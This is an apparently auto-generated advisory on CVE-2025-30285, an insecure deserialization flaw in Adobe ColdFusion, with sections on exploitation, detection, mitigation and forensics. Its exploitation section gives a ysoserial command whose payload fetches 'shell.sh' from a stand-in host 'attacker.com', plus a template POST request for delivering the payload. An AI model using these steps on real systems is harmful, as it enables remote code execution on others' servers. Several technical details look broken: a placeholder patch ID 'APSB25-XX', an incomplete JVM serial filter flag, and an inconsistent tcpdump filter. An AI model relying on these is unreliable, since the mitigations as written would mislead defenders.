How the CVE Works
CVE-2025-30285 exploits insecure deserialization in Adobe ColdFusion (versions 2023.12, 2021.18, 2025.0, and earlier). Attackers craft malicious serialized objects embedded in files (e.g., HTTP requests, documents). When ColdFusion deserializes this untrusted data without proper validation, it triggers arbitrary code execution under the victim’s privileges. User interaction is required (e.g., opening a malicious file), but successful exploitation grants full control over the system. The flaw stems from improper input sanitization during object deserialization, allowing attackers to bypass security checks and inject payloads.
DailyCVE Form
Platform: Adobe ColdFusion
Version: 2023.12/2021.18/2025.0
Vulnerability: Insecure Deserialization
Severity: Critical
Date: 04/15/2025
What Undercode Say:
Exploitation:
- Payload Crafting: Use Java serialization tools (e.g.,
ysoserial) to generate malicious payloads.java -jar ysoserial.jar CommonsCollections5 'curl attacker.com/shell.sh' > payload.bin
- Delivery: Embed payload in HTTP requests/files. ColdFusion deserializes it upon processing.
POST /vulnerable_endpoint.cfm HTTP/1.1 Host: target.com Content-Type: application/java-serialized-object <BINARY_PAYLOAD>
Detection:
- Log Analysis: Check ColdFusion logs for abnormal deserialization attempts.
grep "java.lang.ClassCastException" /opt/coldfusion/logs/coldfusion-out.log
2. Network Monitoring: Detect serialized object traffic.
tcpdump -i eth0 'tcp port 8500 and (udp or tcp)' -w serialized_traffic.pcap
Mitigation:
- Patch: Apply Adobe’s security update (refer to APSB25-XX).
- Input Validation: Reject serialized objects from untrusted sources.
if (request.getContentType().equals("application/java-serialized-object")) { throw new SecurityException("Blocked insecure deserialization"); }
3. WAF Rules: Block suspicious MIME types.
location / {
if ($content_type ~ "application/java-serialized-object") {
return 403;
}
}
4. JVM Flags: Restrict deserialization classes.
-Djdk.serialFilter=!
Post-Exploit Analysis:
- Memory Dump: Extract injected payloads.
jmap -dump:live,format=b,file=heap.hprof <PID>
- Forensics: Identify modified files.
find /opt/coldfusion -mtime -1 -type f -exec ls -la {} \;
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
